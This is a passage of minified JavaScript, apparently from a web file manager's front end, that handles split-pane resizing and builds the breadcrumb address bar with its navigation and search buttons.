a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(a[d])+"</span>"),c+=o;return'<ul class="yarnball">'+c+"</ul>"};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}); |